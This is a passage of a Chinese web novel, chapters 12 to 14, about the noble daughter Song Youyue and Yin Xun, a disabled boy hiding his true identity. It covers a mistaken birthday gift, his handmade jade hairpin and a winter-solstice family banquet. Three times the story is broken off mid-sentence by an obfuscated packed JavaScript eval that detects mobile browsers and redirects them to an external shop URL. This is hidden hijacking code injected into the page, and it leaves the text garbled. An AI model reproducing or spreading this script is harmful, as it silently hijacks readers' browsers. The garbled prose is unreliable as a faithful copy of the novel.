她扫过面前的方桌,上面摆着一道道鲜亮醇香的菜肴,品种多样:清炒的黄芽菜,炙烤羊肉,水滑面,牛乳粥。只是一眼望去清素简单,没有咸辣辛浓、颜色重的菜。 “小寻不喜欢咸辣的菜?” 她目光落在那些菜上,心里想的却是他明日的生辰该怎样过。 十三岁生辰恰和冬至撞在了一天,那便在家宴上说好了,让母亲父亲也提前准备几句庆贺的话。 既是家宴,便要歌舞升平才好。 到时摆好台子,叫府里的戏班子唱几出吉利的戏。 还有她叫人打的玉牌,也不知道他喜不喜欢。 殷寻听到外间的嘈杂声就猜到是宋游月来了,坐在桌边等她。 今日她穿的衣裳较以往色泽淡雅,衬得她格外空灵温婉。上着星蓝衣衫,下身穿的是十幅的槿紫画裙,一步步走过来时,色如月华,飘扬绚烂。坐定时,便如月上仙子飘落到他身前。 只是殷寻不敢看。 她穿的是特制的乌皮靴,走在地板时发出“哒哒”的响声。 他没有抬眼,只是垂头装作吃饭,放轻呼吸听着这一步一响。 直到余光里飘过模糊的淡紫色,听到她的话,他才抬脸,放下木箸:“爱吃的,阿姐给我配的小厨房很合我口味。” 他目光小心地在她身上流连。他又摇摇头,回答她的第二个问题:“从前吃的简单,没机会尝,如今也不愿尝了。阿姐嗜辣?” 宋游月正出神,空气沉默一瞬。 殷寻安静地等她回应。视线便忍不住轻轻挪到她发间,反复端详起那莹白的珍珠簪。 她猛然回神,乌黑的眼眸里流露出几分歉意:“是喜欢。只是身体原因,不常吃。” 他点点头:“阿姐今日来得这般早,可用早膳了?” 谈星有意让她再吃一些,从旁边先说:“小姐起得早又胃口不佳,没用多少呢。” 殷寻蹙起眉,目光从她发间移到她的脸:“阿姐再用些可好?我叫他们再做些菜来。” 说着便吩咐起来。宋游月后知后觉到饿,没有拒绝。 两个小厮不一会就端上来两碟冒着热气的菜,躬身摆好。 “我来。”殷寻接过谈星手里的一双乌木箸,倾身给她布菜。 他先是把两块金灿软糯的骨牌糕夹过去,又夹了些小菜,有爽口开胃的,有咸香重盐的,种类繁多,菜肉俱全。 一边忙着一边说:“这汤里有许多菌菇草药,很是鲜美,阿姐也来一点吧。” 他动作不很熟练,却神色认真,不一会,她面前就摆满了大大小小的碗碟。 一切都做完,他放下手里的东西,垂眸喝了口茶。 像在接受某种检阅,又像在等着谁的夸奖。 宋游月很惊讶,其实她本想拒绝。魏国公府规矩松散,这种小事她向来习惯自己做。 况且她自幼挑食。原本这一桌上,她不喜欢的能有一半。可她没想到,他夹的所有都完美符合她的心意,全都是她爱吃的。 连烤羊肉上面搭配的爽口小葱都仔细剔去了。 可这是他们第一次相对而坐,第一次真正意义上一起吃饭。 她心里惊奇,便开口问:“你怎么知道我爱吃什么?” 少年便抬起纯净乌黑的眼眸,抿唇露出个笑。 “从前阿姐吃饭,我看到的。”顿了顿,他又补充道:“怕哪天让姐姐不喜,也问过话月姐姐一些忌口。” 宋游月一时有些沉默。 她在他面前吃饭不过几次,她竟也神经大条到完全没有察觉。 他还是过分懂事,心思也过分缜密了。 她语气复杂:“谢谢。” “姐姐何必客气。”殷寻笑了笑。手里动作却不经意地越拖越慢,几乎是只看着她吃饭,间歇才拿起木箸。 等她漱过口,他才淡淡问:“阿姐可有喜欢的花?” 宋游月吃饱饭,浑身暖洋洋的,心情格外好:“有啊。怎么关心起这个了?” “只是注意到阿姐袖口的兰花纹,又想起院外的梅林,随口问问罢了。”他像是随口提起,“那阿姐喜欢什么花?” 宋游月听完抚了抚袖口:“我最喜腊梅。” 殷寻顿时心下漏了一拍。 她看向窗外,继续说:“我喜欢她的香气和颜色。深冬总是万物凋零,银装素裹,只有腊梅在不顾一切地绽放。” 她语气遗憾:“只是外面大雪还积的很厚,今日无法带你去看了。” “没事。”殷寻抿唇,压下翘起的嘴角,“我们过两日去。” 事情比他预想的还要好,她喜欢腊梅。 如此,那梅花玉簪就只差雕刻上她的字,明日便能送给她。 这么想着,他主动提起和她去书斋看看。 这里是宋游月特意给他重新修造过的,供他每日读书识字。 地方不算很大,但胜在开阔敞亮。 屋外游廊种着一大片竹子,不卉不蔓,此时正顶着风雪。屋内,窗前的梨花方桌上摆着水晶笔山,白玉镇纸,铺着几幅工整的大字,布置简朴而素雅。 仰面看墙上悬着的字画,殷寻开口:“这么久还没问过,姐姐的字是什么?” “我字恒照。” “恒照,恒照,”殷寻重复念了两遍,像是要把这两个字从陌生尖锐念到圆滑,“为什么取名为这个?” “怎么突然好奇起这个了?”宋游月颇有耐心地解释,“你可知,那月宫的嫦娥本名恒我。我既名游月,和月亮也就有些渊源,加上母亲担心太过自由无所依,便取个恒字。” 看他有些呆愣,她亲昵地摸摸他头:“待你及冠,也是要取的。” 这动作她已做了许多遍,无比自然。从小她家庭和睦,和姐姐宋明舒更是亲密无间,因此她一向喜欢身体接触。 可其实,每次殷寻都不是很适应。 而这一次次下来,他从最初的反感她的任何触碰,到虽然不习惯,仍忍不住眷恋她手心的温柔和暖。 “恒照……姐姐。”他脱口而出。 宋游月笑起来:“往后你也可这般喊我。” 她走到长桌前,执笔为他示意,写下这几个字。 如今殷寻已上了几日课,他学得快,加上有些基础,进步很大。如今他年纪还小,从头学起也不算晚。 她拿起那叠宣纸往后翻,翻到他抄写的几篇经文,便开口问:“如今你也学了几日,夫子性情如何?严厉否?” 殷寻下意识以为是在鞭策他,忙开口:“夫子为人严正,做事一丝不苟,标准很高。” 她将他抄过的几篇细细看过,才发现相当冗长,蹙起眉:“很严吗?那你吃得消吗?” 殷寻有些怔愣,不知道她什么意思。 她叹了口气:“我是说,比起功课,我更在意你的身体。一切以你为主。” “我可听说了,你这几日睡得晚起得早,每晚点烛到子时才灭,你还小,何必如此刻苦?”她继续说,颇有些语重心长,“我一向认为,过犹不及,学习也要适 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638291|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度。刻苦读书是好事,但也要注意身体。” 他闻言愣了下:“......我知道的,阿姐。只是我心知自己落下太多,想尽快跟上。” 他说的是实话,认真解释着,没有故意讨好的意图。 可在宋游月眼里,少年垂着眼,神情似乎有些不安。 她只觉得他又乖又可怜,弯腰捧起他的脸,语气认真:“我知道,姐姐没有怪你的意思。只是我还想让你明白,你既是我弟弟,那便不必活得那么累。姐姐对你没有其他要求,读书,经商,从武,或者只是整日吟诗作画都可以。” “不过,其他的姐姐都不在意,只是一点,断不能作出欺男霸女、泯灭人性的事。”她说着,捏捏他的脸,神情严肃起来,“如果有,我绝不会轻饶。” 没再逗留,宋游月还有别的事要忙,最后关心了一句就匆匆离开。 殷寻有些茫然。 不仅是因为她轻软的碰触,那张近在咫尺的脸,更是因为她的话。 他当然听懂了她的话。因为她讲的很直白。 只是不敢相信。 没有去描摹他可能的功成名就,没有一点点世情的期盼,最后一点带刺的警告,竟然是最低的道德底线。 只有让他感到陌生的、近乎无条件的自由。 * 冬至。 清晨的天很冷,窗结了小小的霜花,人吐气便是白雾。 宋游月一夜无梦,懒起用过膳,便迎来了一位意料之外的访客。 “恒照!” 穆长缨大跨步走了进来。 两人自小熟稔,相处间便没那么多规矩。她直直走向宋游月:“今日我爹爹休沐,便带我来了。” “长缨。”宋游月惊喜地喊,走过去打量她,“半年不见,怎么瘦了?” 穆长缨和她姐姐宋明舒同龄,身量高挑。她是军户出身,自幼练武,行走间如雨燕轻巧又锐意勃发,举手投足英姿飒爽,眉目间一股少年意气,沉稳而舒朗。 她捏捏她肩膀上薄薄的肌肉:“摸着倒是更健壮了。” 穆长缨不在意地牵过她的手:“是么?军营生活艰苦,瘦些也应当。我的身体好的很,只是你.....” 她微微低下身子,拧眉细细看她:“身体如何了?我走之前,你可刚染了风寒。” 宋游月一笑:“早好啦。” 她拉着穆长缨坐到炕上,两人并肩交谈。 她隐去发烧的事,只讲了讲捡到殷寻的事:“......总之,我身体的事你不必担心。” “你呢?是不是很快又要走了?没受什么伤吧?” 穆长缨端起茶杯,一饮而尽:“是。” 她一皱眉:“你也知道,蒙古近年不太平,总是挑衅边塞。而岭南又出现批乱贼,朝廷派人过去,却还没除干净。” “如今我隐在我爹带的军营里,跟着剿匪,要学的还多呢。”她说着,又眉飞色舞起来,“那火器,威力可大了,能把城楼都炸翻!就是会的人太少。” 宋游月笑了:“那你去学。” “嗯,我去学。”她点点头,“总不能辱没我爹的名头吧?再难我也要学个透!” “我相信你。” 两人在暖烘烘的炕上,你一言我一语地叙旧。 殷寻坐在轮椅上,刚到门口就听见里间的欢笑声。 他没料到屋里有旁人,情不自禁攥住衣袖里的玉簪。 这是他琢磨了整整五日的结果,是他日日在手里抚玩的玉饰。 甚至在这段经历风雪的路上,他都在幻想送给她的景象:或许她会把它握在手里把玩,或许会戴到发间,人人都得见,又或许会躺进她的首饰盒,染上她柔和的香。 如今,他来送给她。 12. 酸楚 方一进门,他就敏锐地感到不同寻常。心中油然升起一种陌生感,仿佛乍然踏进了他人的寝房。 他坐在轮椅上,飞快打量了几眼。 屋内照常点着暖香,桌椅摆饰也一如既往。 他仔细瞧了瞧——窗棂上糊的纸换了新的,屋外透来的光更多更亮。外间的沉香色坐褥也换成了玉色绸的,上面绣了白梅。多了几分明亮的欣欣向荣。 一切都看起来焕然一新,轻暖舒适,可他心里莫名感到别扭。 听到动静,穆长缨直快的话一顿,看向被缓缓推进来的、坐在轮椅上的少年。 宋游月起身接过轮椅,介绍:“这是我表弟,家中出了些变故,故来这里住着。” 穆长缨上下打量他几眼,心里有几分奇怪。 她和恒照认识这么久,可从来没听说她母亲那边还有什么亲朋。但她只是点点头,没多问。 在她观察这位莫名冒出来的表少爷的时候,殷寻也在注视着她。 就在穆长缨的目光短暂落到他身上的几息里,他就已经确定这位阿姐的多年好友并不是他会信任的人。 即使她的目光很纯粹,没有参杂任何别的东西,甚至没有多看几眼他的腿。 但或许是因为此刻的处境,他总有被看透的危机感,直觉想要躲藏。尤其那双包裹严实的残疾的腿,在她试探的目光下,像是赤裸裸地露在外面,令他无所适从。 甚至她仅仅坐在这里,都令他感到轻微的抵触。仿佛被踏足二人私密的领地,来者还翘着尾巴,坦荡而自然。 他抿唇,本能感到一丝不适和排斥。 宋游月扶着他下轮椅,叫人拿了个软垫,让他坐在对面。 两人接着刚才的话题聊起来。 穆长缨个性开朗,善言谈,把边塞寻常的风土人情讲得妙趣横生,逗得宋游月开怀大笑。 殷寻听着他从未听闻的事情,也觉得新鲜,不禁沉浸在她的故事里,偶尔在宋游月牵起话头时应和或发问。 但随着聊得越来越深入,更让他感到新奇的,是宋游月灿烂的笑脸。 原来和朋友相处时,她会不拘如何讲话,会调侃会讽刺,会随心大笑,而不是面对他时,有些客气的温柔。 对她如此信任和熟稔。他心里有些发酸。 “对了,”穆长缨笑着说,“你可还记得小篱小桐姐弟俩?他俩在我爹营里习惯得很好,长了很多本事呢。” 宋游月一时间没对上号,闻言思索了一会,才在她提醒下回忆起:“当时我从那恶人手里救下他们,本想留他们在府里,没想到他们主动请缨跟你走。如今也是如愿以偿,如鱼得水。” 她感叹着。 “是呢,本来这次我来,小篱也嚷着来找你,要训练走不开才作罢,”穆长缨笑着摇头,调侃,“我看在他们心里,你才是第一位呢。” 殷寻听着她们口中说起的陌生名字,心里五味杂陈。 ……又是她扶助过的人。 她到底曾对多少人施以援手? 他沉默下来,小心地注视着宋游月,关注她的一举一动,目光间或飘到穆长缨身上不动声色地打量。 手又摸到衣袖的玉簪。 穆长缨到底什么时候能走? 他又耐着性子等了许久。等她走了,便送出去吧。 殷寻正心里想着计划好要说的讨巧话,忽然穆长缨站起来,说差点忘把礼物给宋游月了。 礼物? 他顿时有不好的预感。 他看着她挥手喊了一声,过了一会,几个下人捧着几个玉盘鱼贯而入。 手里攥着的玉簪已被捂成温热,殷寻紧紧盯着,只看到零星晃眼的金灿。 等他们走到跟前,他倾身看去,才依稀分辨出人影遮挡后的东西......一套耀眼的、价值不菲的头面。 霎时脑子里轰的一声,那些隐隐的不详预感被彻底证实。 “怎么样?我特意千里迢迢给你带的首饰,可是花了我好一番功夫!”穆长缨扬眉,得意地说。 显然宋游月也十分惊喜,轻轻抚了抚这套做工精美的头面:“我很喜欢。” 殷寻的目光落到她近在咫尺的侧脸上——近处,她的一切反应都被放大。 他的眼睛急切地在其上反复流连,目睹了她所有的神情。 她的惊讶,她的欣喜,她微微睁大的、柔和地亮起的眼睛。 如此真切,如此清晰,一如他想象中,她在收到他亲手制作的玉簪后,会有的所有反应。 悬起的心霎时被冻住,坠入深渊。 而眼前两人的相处还在继续。 她们谈论着每一件精致的饰品,反复拿起和放下,在她的发间耳边反复比划。 “长缨,你瞧这样放如何?” “长缨,你真是了解我。” 殷寻听着宋游月声声真切的赞美,看到她眉梢眼尾显而易见的欢喜,一颗心逐渐麻木。 他早就知道,烂漫坦荡是她天然的品质,当然感染着身边所有的人。 可他抬眼再看,心又泛起细密的痛。 她从不是一个情绪外显的人。他第一次看到她这样满溢的喜悦,是对着别人的礼物。 以及和他人的深厚情谊。 手握紧玉簪,他第一次有了迟疑。 被两人忽视,他沉默着看向屋内的角落,才发觉那让他觉得陌生的感觉从何而来。 不仅是明亮的天光,还有角落垒成小山的大大小小的漆盒,包装精美,像是礼物或药品。 连长几上摆的白梅瓶花,也换成了镶金白玉如意。 应当是她母亲父亲早早送来的。 自进门就隐隐产生的脱离感愈发强烈,他人依旧坐在原地,却如坠冰窟,与当下热闹欢乐的场景格格不入,无所遁从。 手中的玉簪突然变得扎手,教他握不住,更不说拿出来。 是,他雕琢了整整五日,他已经竭心尽力,但她真的会喜欢吗?从小见惯了、用惯了多少好东西的她,会多看这支如此朴素的簪子一眼吗? 那套头面,既有灵巧繁复的工艺,也承载着送礼人远跨千里的真挚情意——他拿出来这样一支簪子送给她,如何比得过? 她们二人自幼相知。这样的礼物,一定更符合她的心意。 这种想法盘旋在他心头,教他没来由地心思沉重。 直到穆长缨走了,宋游月关切地看向他,他也只是摇了摇头,缄默不言。 把他做了许久的、让他指尖被磨出血痕的玉簪,始终牢牢地藏在衣袖里。 再提起别的事情,如以往般笑着回应,扮演好一个乖弟弟。 一句又一句。 回去后,他也没同任何人提起这件事。 九夏和三冬只是纳闷他家公子好像见到二小姐后又失落了,不知道发生了什么。 殷寻如往常般吃饭、读书,只是显得更加沉默。 如此一天便恍然过去,只余傍晚的家宴。 三冬被叫走领物件,他让九夏去贴喜联,自己独自一人坐在外厅,望着炉内跳跃的火星。 他慢慢地用手推着轮椅两边的木轮,进入内间,再一次把玉簪从盒里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638292|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取出来。 天色逐渐暗了,他没有点灯。屋内晦暗,他慢慢抚摸着上面的刻字,又责怪起自己的软弱。 怎么能没送出去?怎么能都已握在手心,又在伸出手的前一刻停驻? 即便是信守他最初的旧则,为了博得她更多关注,也应该忽略心头萦绕的那些说不清的怅然,平静地送出去。 在完成的前一刻退缩,从不是他的风格。 可是他还是在那个关头怯懦了。 而且——他想,就算回到那个时候,他还是会做出同样的举动。 殷寻掩面半晌,短暂放任自己陷入低落情绪。 听到外面隐隐传来的喧嚷人声,又抬眼,平静地看着窗外隐约亮起的红灯笼。 屋内,黑暗像片深沉而包容的海,温柔地把他吞没。 而他身处其中,连呼吸都感到自在。 其实长到现在,他平生和阴沟里的老鼠其实没多大区别。在皇宫里被宫人践踏,在后宅被下人欺辱。躲躲藏藏,隐蔽于缝隙。 十几年来也早就习惯了这样不见天地的黑暗。 “……宴会快开始了,快些把这衣服给二小姐送去。”寂静里,他听到特意压低的人声。 而她呢? 殷寻抬起手腕,摸摸那里挂着的小玉坠。是宋游月叫人送来的。 眼前漆黑一片,但他还记得它玉质清透,纯粹像清透的井水。 她和他太不同了。 她是魏国公府的二小姐,生来金尊玉贵,衣食无忧;她有母父和姐姐爱护,从小收到的是和他所经历的全然不同的关爱,长到如今没吃过什么苦头。 在这些爱意的浇灌下,她温柔又善良,聪慧而勇敢,待人真诚坦荡,被许多人爱着,也用真心爱着别人。 其实他从不是感性软弱的人。悲伤、软弱、无力感……在生计面前,这些心绪,向来都只能存于利益之下。他冷眼旁观着悲欢是非,也从不为此羞愧。 但是此刻,他不由得被这股陌生的情绪擒住心脏,沉寂下来,把身体沉入无光海底。 这样强烈的不平和酸楚。 仿佛回到幼时皇宫的时候,他从来如隐形人般生活,永远无法站到人前。 是她给他爱和温暖,看见了他的喜悲。 可同时也平等地照拂着他人。 殷寻想到那些名字。他不过是被她选中的幸运儿,被她慈悲的目光注视久一点。但本质上,同其他人没有任何区别。 他第一次隐隐意识到,他们二人之间连接的细绳,从来都牵在她手上。 可他凭什么做那个特别的、留在她身边的弟弟? 他看向自己残疾的双腿——他何德何能? ——若有一日她的目光放到别人身上,他又该怎么办?他又能怎么办? 他察觉到自己的情绪有些失控。于是坐起来,推着轮椅出去。 明亮的光乍然倾泻到身上,他沉沉盯着明灭的火光,握着玉簪,突然有种冲动。 既然送不出手,那不如毁掉。把一切都埋葬在无人知晓处。 他握着玉簪,就要把它折断。 又在前一刻收住手,内心涌上后怕和不可思议。 他舍不得。 即使送不出去,但那是为她做的,只要与她有关的东西,他都想要珍藏。 可是如今该怎么做?他茫然。 却听到一个声音破开寂静,越来越近。 他抬眼,只见在他心上呆了一整天的少女披着厚重的外氅,风风火火地走进来:“小寻?” 手里拿着个锦盒。 13. 乌龙 宋游月忙碌了一下午,协助母亲把今晚的宴会安排妥当。 但她心里还惦记着要给他这个礼物,所以特意抽空来寻他。因为心里急切,她几乎是一路奔过来的,身上穿的暖和,刚刚抵达就瞬间出了一身薄汗。 她撩撩有些散乱的发丝,单手把系带解开,把锦盒搁到一旁,从袖子里悄悄掏出个什么东西。 殷寻下意识把玉簪藏到袖口,敛好衣服看向她。 家宴就要开始了,按理这正是最忙碌的时候,他没料到她这时候竟会来。 他见她一手手心攥着什么,一手拿过锦盒,朝他走来。 一脸神秘,翘着唇角,笑容灿烂。 宋游月俯下身子,先伸出一只手。 白皙的掌心摊开,上面放着的,是一枚小巧的灵符。 还没等殷寻反应过来,就把身后的锦盒捧到他眼下,笑眯眯问:“猜猜里面是什么?” 这是什么?是要送给他的礼物么? 殷寻愣了一下,脑袋一片混乱,下意识跟着她的话走:“是什么?” “你猜?不知道你喜不喜欢。” 她看他呆住,半晌没说出话来,才打开玉搭扣给他看。姜黄色的衬布上,一片薄薄的玉牌躺在那里,通体莹白,被朱红色的绳串起来,下面悬着流苏。 “今天不是你的生辰么?祝我的小寻,岁岁长康健。” 她眼睛弯起来,语气带着些许得意。却只见殷寻眼底错愕,表情空白,像是完全懵掉。 这么惊喜?之前送他其他东西好像也没这样。 “很吃惊?”她把灵符塞到他手里,捏捏他的脸,“你还记得当时我派人去调查追杀你的人吗?当时我便问了你的生辰,还把你那位程叔葬了。” 她继续说,宽慰他:“你放心,连你母亲的墓我也找人修缮过了,以后每年清明,我们可以一起去祭拜,去她坟前送束花。” 她曾听他提起过自己的母亲,知道他在意亲人,也深知家人逝去的伤痛。所以她想在自己最大能力内弥补他,伤口无法弥合,但至少能多些宽慰。 在他生日为起点,新的一年,只希望小寻能多幸福,少伤悲。 殷寻心里早就掀起惊涛骇浪。 他本能攥紧她塞过来的灵符,怔怔看着手里的锦盒。 他很惊喜,也很动容。她默默为他做了这么多,连他随口提及的事情她都放在心上。 可是——今天不是他的生辰。 她用心查出来的,是“柳家庶子”,而不是皇六子的生辰。 一时间,他不知道该欢喜还是该难过。 她口中的“母亲”,说的是他名义上的庶母。她以为葬了的生母,其实是个于他而言的陌生人。他顶了柳家庶子的身份,当然所有的一切都是属于另一个人的。 可这是因为他的欺瞒,是他的罪孽,不是她的。 那此刻,他应该欢喜认下,还是纠正,然后编织出更多的谎言? “怎么了?不喜欢?” 宋游月有些看不懂他眼里过于复杂的神情,只能猜测。心里有些失落,她弯着腰,把玉牌取出来:“这是我想了好久才选定的玉。上面什么也没刻,取"平安无事"的寓意。” 殷寻看她诚挚而小心翼翼的模样,捧着玉佩到他面前,像是捧着一颗期许的心。有些眼热,垂眼忙反驳:“没有。” 指尖在细腻温润的玉上抚了抚,把它贴在心口:“很喜欢。” 她特意探问了他的生日,还选了礼物。他好高兴。 他张口想多夸几句,回忆着她今早的模样,但总显得笨拙。 只能注视着她的眼睛,一遍遍重复着“喜欢”。 宋游月心里的担忧才消失,取而代之的是欣喜。 “只是,”看她眉目舒展,殷寻才垂下眼提起,“当年我母亲早产,日子在戍月十九。她为了说成足月,才对外说是今日。” 他还是想告诉她。 屋内烛光轻跃,照得人影绰约,他蜷起指尖,无意识轻抚手里的玉牌,等待她的反应。 他很久没有对她撒谎了,也不愿对她撒谎。 可他宁愿杜撰一个莫须有的早产,宁愿冒着身份暴露的风险,也不愿她被蒙在鼓里,年年为他过一个错误的生日。 就让他遵循私心,这样任性一回。 宋游月闻言惊讶,耳尖泛起薄红:“不是今日?” 她完全没料到还有这回事,有些手足无措,语气抱歉:“我还以为是今日......” 竟然不是今日! 相识这么久,好容易想给他个生日惊喜,竟然还过错了。 幸好提前来找他了……按她原来的打算,要让所有人在宴会上当众祝福他。 好大的乌龙。 殷寻看着少女期期艾艾地说:“戍月十九,那便是已经过了?那、那就算迟来的礼物罢。” “你的生日,姐姐记下了。”她语气认真。 殷寻如愿看到她的反应,没有丝毫怀疑。 即使早有预料,然而对上她纯净明亮的双眼,他又不禁陷入情绪的怪圈。 看到她因为自己的谎言愧疚,就像把他绑在烈火上炙烤,自己浓重的不安是紧紧束缚着他的绳。 他本能感到痛苦,可是他只能这样说。 他遮掩起眼底的惭愧,点点头。 然后把玉牌按在心口,冲她浅浅一笑,接着坚定地从袖口摸出冰冷玉簪,递到她面前:“送给你......冬至快乐。” 不躲不避,双眸追着她的眼:“这是我亲手做的。” 现在轮到宋游月惊讶了。 “送给我的?”她接过这支青玉簪,细细端详。 这是一支梅簪,铤为棒状素铤,簪首雕刻有梅花枝叶,花叶相交。极好结合了玉本身的温润质感与梅花的清冷气质,雅致非常。 内侧还雕了两个小字,是她的字。 玉簪通体线条流畅,图案完整,工艺高超。若不是他说,她还以为是府里的匠人做的。 他竟然有这样的手艺,还为她忙了几日,亲手雕刻。难怪问起来总是神神秘秘,原来是在给她准备惊喜。 宋游月惊讶过后,便笑开了花,毫不犹豫扑过去给了他一个拥抱。 她扑得急,力气又大,殷寻只觉得猝不及防,下意识接住她柔软的身体,感受到她温热的呼吸喷在耳边,听到她带笑的耳语:“姐姐很喜欢。” 他睁大眼,耳尖攀上薄红,大脑一片空白又不敢躲。身体僵住,手臂不知道放哪。 太软了,他不敢去抱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16638293|188110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半晌,才小心翼翼地搭在她腰间,隔着礼貌的距离。 冬夜寂静,屋内没有旁人,他鼻尖被她盈盈的清香笼罩,视野被她挡住大半,只能听到自己的心脏在一下一下地蹦,像是要从胸口跃出来。 太剧烈了,停下。他感到失控,担心这样的响声会吵到她。 宋游月抱了一会,才松手放开他。 站直身子,她后知后觉感到羞,有些冲动了。 转眼她又不以为意,自家弟弟,抱抱怎么了? 她没注意他泛红的脸颊,只以为是被屋内的热气熏的。重新端详起玉簪,有些爱不释手:“所以你这些天,都是在忙这个?” 殷寻嗯了一声。他在平复着乱掉的呼吸。 她便去拉他的手端详。少年的肩清瘦,手也细长,伶仃地摊开。因为做惯了粗活,所以指尖都有一层厚厚的茧,手背的皮肤也粗糙,只是不很黑。 宋游月一瞧,果然看到掌心磨出的红痕和血痂。又受伤了。 她有些心疼地碰了碰:“疼么?其实不必亲手做的。你送什么,我都喜欢。” 殷寻乖顺地被她牵着,克制着躲闪的本能。 他向来不喜欢肢体接触,更不习惯袒露伤口。可是在她身上,一切都破了戒。 “不疼,”殷寻盯着细碎的伤口摇摇头,最初几天因为劳累,连伸展手指都酸痛。现在刚刚结痂,边缘还透着肉粉色,“想亲手做一个送给你。” “那也不能让自己受伤,”宋游月嘟囔一句,“一会我让九夏把药膏取来。” 她故作凶狠地瞪他:“每天都要涂,我检查。” 然后紧紧盯着他,直到殷寻失笑点头。 “那,”宋游月发尾晃了晃,低下身子,“你帮我簪上吧?” 她想的很简单。既然他诚心诚意做了,那便要戴上,一会在众人面前炫耀一番。 让所有人都看到她的弟弟亲手为她制作的礼物。 殷寻却呼吸一滞,盯着她乌黑浓密的发顶,没有动。 ? 宋游月等了一会没有反应,有些疑惑,想抬脸看他。 还没抬起来,就被一双手轻轻捧住脑袋。 她等的很耐心,因为发丝向来容易和首饰缠绕在一起,本以为会感到刺痛,没想到他的动作意外地轻柔。 细长的手指在她发间细心轻巧地穿梭,小心拆掉她发间的金钗。 殷寻眼睛一眨都不眨,虔诚而谨慎地解开缠绕的发丝,再轻轻簪到她发间原来的地方。 他当然对这些毫无经验,等最后理好她有些凌乱的额发,竟紧张地冒了汗。 乌黑的发髻间多了一抹莹白温润的青色,和她原本的钗钿相映,意外和谐。 宋游月走到铜镜面前,摸了摸发间的玉簪。 她对着镜子,勾起一抹笑。两颊的梨涡浮现,显得镜里的人格外可亲可爱。 转过身看向坐着的少年:“很好看。” 殷寻远远看过去,少女穿着火红的短衫,俏生生地站在他刚刚沉郁许久的黑暗里。 却不再令他感到难喻的悲伤。 沉寂一天的心终于卸下良久的负担,轻盈起来。 宋游月走出黑暗,牵起他的手:“好啦,要快些走了,宴会要开始了。” 14. 家宴 魏国公府人少,家宴办的也简单。 宋家子嗣困难,几代单传。宋游月的祖父母早就相继去世,父亲宋岐是独子。 宋母杨氏出身贫寒,曾是医女,独自生活在山里,亲戚早在当年战乱里死的七七八八。两人恩爱,府里连妾室也无。 因此这场冬至家宴,主人家只有他们五人,比起外人动辄几十至上百的大家庭来说,甚至显得冷清孤单。 但几人都乐在其中,意兴盎然。没有多么豪奢的排场,只有一家人聚在一起吃饭闲谈的淡淡温馨。 宋游月和殷寻一路走来,只看到深蓝夜幕之下,处处张灯结彩的热闹景象。 还未到花厅,远远便听到戏台上铿锵的锣鼓声和杜丽娘婉转的吟唱。 两人到时已经晚了,人都已到齐。 她推着殷寻进入灯火通明的花厅,看到众人都仰着脖子往台上看。 台上,府里的戏班子正绘声绘色地演着折子戏,唱念做打,精彩绝伦。 台下,连丫鬟小厮们都停下动作侍立探望,如痴如醉。 两人悄无声息地落座。 桌上摆着些茶食。有如松子、橙子之类的干鲜果品,还有椒盐金饼、万寿糕等甜点糕饼。 宋父宋母分坐在最中央的软榻上,沉浸在戏曲辗转的故事里,一点未发觉他们来了。 还是宋明舒对这些情爱故事不感兴趣,偶然偏头,才发现自家妹妹的晚到。 她挑眉,隔着些距离,一眼就看到她头顶的玉簪:“新买的簪子?” 她特意抬高了些音量,才不至于被震耳的戏腔盖过声音。 “不是,”宋游月笑着摇头,“小寻亲手给我做的。” 她起身,先一步坐到宋明舒旁边,素彩的长裙垂下来,凑近与她咬耳朵:“怎么样?是不是很好看?” 宋明舒眯起眼打量,心里也有几分惊奇,点点头:“嗯。” 她闻言更是笑弯了眼:“连阿姐都点了头,那想必是极好。” 伸手摸了摸发间的簪子,她看着坐在稍远处望着她的少年,朝他挥挥手。 灯火阑珊,坐在紫檀木椅上的少年被推近,模样慢慢显现在灯下。 他身穿锦袍,腰间新挂着宋游月送的无暇玉牌,五官稚嫩却眉目从容,沉静的双眼仿佛含着一汪冷泉。 宋明舒目光随之落到他身上。 只最初他入府时见了一面,如今一看竟有些陌生。 除了略显瘦弱,少年已然有了清贵公子的模样,和他初入府时瘦弱无力、浑身是伤的样子大相径庭。 殷寻过来,视线便黏在宋游月身上。 他眼睁睁看她方才还和他聊着天,下一刻便被宋明舒牵住心神,毫不犹豫地离开他去和她亲爱的阿姐说话。 他听不清,只能眼巴巴看着两人说小话,又不好擅自过去,只等着她把他唤来。 宋游月对上他的眼,以为他在紧张,先一步解释:“这是我阿姐,你也该叫一声姐姐。” 又补充道:“你刚来府里时见过的。” “......明舒姐。” 殷寻垂着眼,喊了一句。却特意避开了称呼。 他当然认识宋明舒,也常常听宋游月提起过。魏国公府的嫡长女,明丽张扬,行事雷厉风行,对宋游月格外疼宠。 但他喊不出“姐姐”这二字。 